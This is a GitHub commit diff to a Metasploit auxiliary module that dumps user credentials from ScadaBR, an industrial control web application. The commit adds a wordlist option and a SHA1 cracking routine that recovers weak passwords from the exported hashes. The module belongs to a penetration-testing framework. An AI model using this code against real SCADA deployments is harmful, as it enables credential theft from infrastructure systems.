Skip to content

Commit c811c6a

Browse files
committed
Add PASS_FILE option
1 parent 2c3d5bd commit c811c6a

File tree

1 file changed

+28
-13
lines changed

1 file changed

+28
-13
lines changed

modules/auxiliary/admin/http/scadabr_credential_dump.rb

Lines changed: 28 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,9 @@ def initialize(info = {})
3030
Opt::RPORT(8080),
3131
OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]),
3232
OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]),
33-
OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ])
33+
OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]),
34+
OptPath.new('PASS_FILE', [ false, 'Wordlist file to crack password hashes',
35+
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
3436
])
3537
end
3638

@@ -106,6 +108,25 @@ def export_data
106108
end
107109
end
108110

111+
def load_wordlist(wordlist)
112+
return unless File.exist? wordlist
113+
File.open(wordlist, 'rb').each_line do |line|
114+
@wordlist << line.chomp
115+
end
116+
end
117+
118+
def crack(user, hash)
119+
return user if hash.eql? Rex::Text.sha1 user
120+
pass = nil
121+
@wordlist.each do |word|
122+
if hash.eql? Rex::Text.sha1 word
123+
pass = word
124+
break
125+
end
126+
end
127+
pass
128+
end
129+
109130
def run
110131
login datastore['USERNAME'], datastore['PASSWORD']
111132

@@ -126,6 +147,9 @@ def run
126147
print_error 'Found no user data'
127148
else
128149
print_good "Found #{json['users'].length} users"
150+
@wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'
151+
@wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr'])
152+
load_wordlist datastore['PASS_FILE'] unless datastore['PASS_FILE'].nil?
129153
end
130154

131155
json['users'].each do |user|
@@ -135,28 +159,19 @@ def run
135159
admin = user['admin']
136160
mail = user['email']
137161
hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first
138-
pass = nil
139-
140-
weak_passwords = '12345', 'admin', 'password', 'scada', 'scadabr', username, mail.split('@').first
141-
weak_passwords.each do |weak_password|
142-
if hash.eql? Rex::Text.sha1(weak_password)
143-
pass = weak_password
144-
break
145-
end
146-
end
147-
162+
pass = crack username, hash
148163
user_cred_table << [username, pass, hash, admin, mail]
149164

150165
if pass
151166
print_status "Found weak credentials (#{username}:#{pass})"
152167
creds = { origin_type: :service,
153-
module_fullname: self.fullname,
168+
module_fullname: fullname,
154169
private_type: :password,
155170
private_data: pass,
156171
username: user }
157172
else
158173
creds = { origin_type: :service,
159-
module_fullname: self.fullname,
174+
module_fullname: fullname,
160175
private_type: :nonreplayable_hash,
161176
private_data: hash,
162177
username: user }

0 commit comments

Comments
 (0)